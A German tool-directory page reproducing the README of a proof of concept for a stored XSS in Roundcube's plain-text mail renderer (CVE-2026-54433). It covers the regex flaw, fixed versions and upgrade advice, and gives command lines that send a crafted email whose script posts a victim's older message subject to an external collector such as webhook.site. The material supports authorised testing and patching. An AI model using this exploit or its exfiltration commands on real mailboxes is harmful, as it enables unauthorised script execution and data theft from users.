Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Einreichen
ToolsExploitsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-54433 — Konfigurierbarer Python-PoC für CVE-2026-54433, eine Stored-XSS im Klartext-E-Mail-Renderer von Roundcube. Erzeugt präparierte .eml-Dateien, sendet sie per SMTP und validiert die Auswirkungen in einer Docker-Lab-Umgebung. | Kitploit
Tools/GitHubGitHub/aramosf/cve-2026-54433
SchwachstellenanalyseExploitationWebanwendungs-ExploitationDatenexfiltrationWebsicherheitPenetrationstestsPayload-EntwicklungE-Mail-SicherheitLabs & Praxis
GitHubaramosf/cve-2026-54433

CVE-2026-54433

Konfigurierbarer Python-PoC für CVE-2026-54433, eine Stored-XSS im Klartext-E-Mail-Renderer von Roundcube. Erzeugt präparierte .eml-Dateien, sendet sie per SMTP und validiert die Auswirkungen in einer Docker-Lab-Umgebung.

29vor 1 MonatNoch nicht geprüft
Repository anzeigen

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2026-54433: Gespeichertes XSS in Roundcube-Klartext-E-Mails

Exploit execution demo

Dieses Repository enthält einen konfigurierbaren Python-Proof-of-Concept für CVE-2026-54433, eine gespeicherte Cross-Site-Scripting-Schwachstelle im Klartext-E-Mail-Renderer von Roundcube. Ein nicht authentifizierter Absender kann eine präparierte text/plain-Nachricht zustellen. Wenn ein authentifizierter Roundcube-Benutzer diese Nachricht öffnet oder in der Vorschau anzeigt, wird vom Angreifer kontrolliertes JavaScript im Roundcube-Ursprung ausgeführt.

Der PoC demonstriert konkrete Auswirkungen auf authentifizierte Sitzungen, ohne Cookies oder Nachrichteninhalte zu sammeln: Er liest den Betreff einer älteren Nachricht und sendet diesen Wert zusammen mit dem Roundcube-Ursprung und dem Task-Namen als URL-kodierte POST-Felder an einen autorisierten Collector.

Warnung

Dies ist aktiver Exploit-Code. Verwenden Sie ihn nur in einem Labor, das Ihnen gehört, oder gegen ein System und ein Postfach, die Sie ausdrücklich testen dürfen. Der Sendemodus überträgt eine präparierte E-Mail und kann einen vorhandenen Betreff an den Collector weitergeben. Verwenden Sie --generate-only für die Offline-Inspektion.

Zusammenfassung der Schwachstelle

Roundcube wandelt Adressen, die in Klartext-Nachrichten gefunden werden, in anklickbare mailto:-Links um. In betroffenen Versionen wurde das optionale Abfrage-Suffix mit \S+ abgeglichen:

. '(\?\S+)?'

Da \S auch < und > umfasst, konnte eine Zeichenkette, die wie eine E-Mail-Adresse beginnt, dazu führen, dass die Auto-Link-Ersetzung ein öffnendes HTML-Tag verschluckt, während der Rest als Markup interpretiert wird. Diese Minimalform veranschaulicht den Grundbaustein:

[email protected]?]

Der Upstream-Fix schränkt das Abfrage-Suffix so ein, dass es keine Winkelklammern oder Leerzeichen enthalten kann:

. '(\?[^<>\s]+)?'

Der Hersteller beschreibt das Problem als „Zero-Click“, da kein Klick auf einen Link erforderlich ist. Das Öffnen oder die Vorschau der E-Mail während einer authentifizierten Sitzung ist weiterhin die Mail-Client-Aktion, die die Payload rendert.

Betroffene und behobene Versionen

Release-LinieStatus
Roundcube-Versionen vor 1.6.17Betroffen
Roundcube 1.6.17 und spätere 1.6.xBehoben
Roundcube 1.7.0 und 1.7.1Betroffen
Roundcube 1.7.2 und spätereBehoben

Die öffentlichen Fix-Commits sind:

  • 1.7-Linie: 5477e979aae0317e111564bfc9971ba7707cc165
  • 1.6-Linie: 4c278f4868c67b163567cae3d74e58d872913459

Führen Sie ein Upgrade auf Roundcube 1.6.17 / 1.7.2 oder eine neuere unterstützte Version durch.

Voraussetzungen und Umfang

  • Der Angreifer benötigt eine Möglichkeit, dem Opfer E-Mails zuzustellen, jedoch kein Roundcube-Konto, kein Passwort, keinen Plugin-Zugriff und keinen Administratorzugriff.
  • Die Nachricht muss von einer betroffenen Roundcube-Version als text/plain gerendert werden.
  • Das Opfer muss über eine authentifizierte Roundcube-Sitzung verfügen und die Nachricht öffnen oder in der Vorschau anzeigen.
  • Es ist kein Roundcube-Plugin von Drittanbietern erforderlich.
  • Der positive Docker-Test verwendete das Standard-Elastic-Skin von Roundcube. Der grundlegende Schwachstellen-Baustein liegt in der serverseitigen Klartext-Konvertierung; andere Skins wurden hier nicht als unabhängig getestet beansprucht.
  • Roundcubes Kontrolle „Ressourcen von Drittanbietern wurden blockiert“ stoppte den getesteten Grundbaustein nicht: Das versteckte Bild verwendet eine fehlschlagende relative src, um onerror auszulösen. Ein Collector-Callback erfordert weiterhin Netzwerkerreichbarkeit des Browsers.
  • Das Sitzungscookie von Roundcube ist normalerweise HttpOnly. Dieser PoC versucht nicht, es zu lesen. Seine Same-Origin-Anfrage verwendet automatisch die authentifizierte Sitzung, und der Betreff der separaten Nachricht ist der Beweis für die Auswirkung.

Das demonstrierte Ergebnis ist die Ausführung von JavaScript in einer authentifizierten Sitzung und der Lesezugriff auf den Betreff einer früheren E-Mail. Kontenübernahme, Diebstahl beliebiger Nachrichteninhalte und serverseitige Codeausführung werden in diesem Repository nicht beansprucht.

Verhalten des PoC

cve-2026-54433-poc.py ist eigenständig und verwendet nur die Python-Standardbibliothek. Das Skript:

  1. erstellt eine präparierte gewöhnliche RFC-5322-text/plain-E-Mail;
  2. scannt standardmäßig höchstens 50 niedrigere UIDs im aktuellen Roundcube-Postfach;
  3. wählt den ersten älteren Betreff aus, der nicht mit CVE-2026-54433 beginnt;
  4. sendet subject, origin und task per POST an /capture/<random-marker>;
  5. liest niemals Cookies, Anmeldedaten, Nachrichteninhalte oder Anhänge;
  6. übermittelt die E-Mail optional über einfaches SMTP, STARTTLS oder implizites TLS;
  7. fragt optional Webhook.site oder einen kompatiblen JSON-Status-Endpunkt ab.

Die Payload fügt den folgenden DOM-Kommentar ein:

<!-- This is a BugBounty test; only one subject is copied as evidence -->

Sie blendet außerdem den automatisch verlinkten Adressfragment und den Indikator für defekte Bilder aus, während sie den vom Aufrufer bereitgestellten harmlosen Nachrichtentext anzeigt.

Offline-Erzeugung

Generieren Sie die E-Mail, ohne eine Netzwerkverbindung herzustellen:

python3 cve-2026-54433-poc.py \
  --from [email protected] \
  --to [email protected] \
  --subject 'Account access problem' \
  --body "Hi, I'm having trouble with my account, can you help me? My username is @abugpro. Thank you very much." \
  --collector https://collector.example.test \
  --generate-only

Dies erzeugt:

  • cve-2026-54433-trigger.eml
  • cve-2026-54433-evidence.json

Überprüfen Sie die erzeugte Nachricht, bevor Sie den Sendemodus verwenden.

Autorisierter SMTP-Test mit Webhook.site

Der Wert von --collector kann eine Webhook.site-UUID, eine Capture-URL oder eine #!/view/-URL sein. Das Skript leitet daraus die Capture- und Polling-Endpunkte ab.

python3 cve-2026-54433-poc.py \
  --from [email protected] \
  --to [email protected] \
  --subject 'Account access problem' \
  --body "Hi, I'm having trouble with my account, can you help me? My username is @abugpro. Thank you very much." \
  --collector 'https://webhook.site/#!/view/REPLACE-WITH-UUID' \
  --smtp-host smtp.example.com \
  --smtp-port 587 \
  --smtp-security starttls \
  --smtp-user [email protected]

Falls SMTP_PASSWORD nicht gesetzt ist, fragt das Skript nach dem Passwort, ohne es auszugeben oder zu speichern. Eine anders benannte Variable kann mit --smtp-password-env NAME ausgewählt werden. Vermeiden Sie --smtp-password auf Systemen mit mehreren Benutzern, da Befehlszeilenargumente in Prozesslisten oder der Shell-Historie sichtbar sein können.

Das Skript verlangt vor dem Senden eine ausdrückliche YES-Eingabe. In nicht-interaktiver, bereits autorisierter Laborautomatisierung übergeben Sie --yes. Standardmäßig wartet es bis zu 24 Stunden auf einen Callback; ändern Sie dies mit --timeout SECONDS.

Für einen Collector, der nicht Webhook.site ist, übergeben Sie die Basis-Capture-URL und optional den JSON-Status-Endpunkt:

python3 cve-2026-54433-poc.py \
  --from [email protected] \
  --to [email protected] \
  --subject 'Authorized XSS test' \
  --collector https://collector.example.test \
  --poll-url https://collector.example.test/status \
  --smtp-host mail.example.test \
  --smtp-security starttls
Tool herunterladen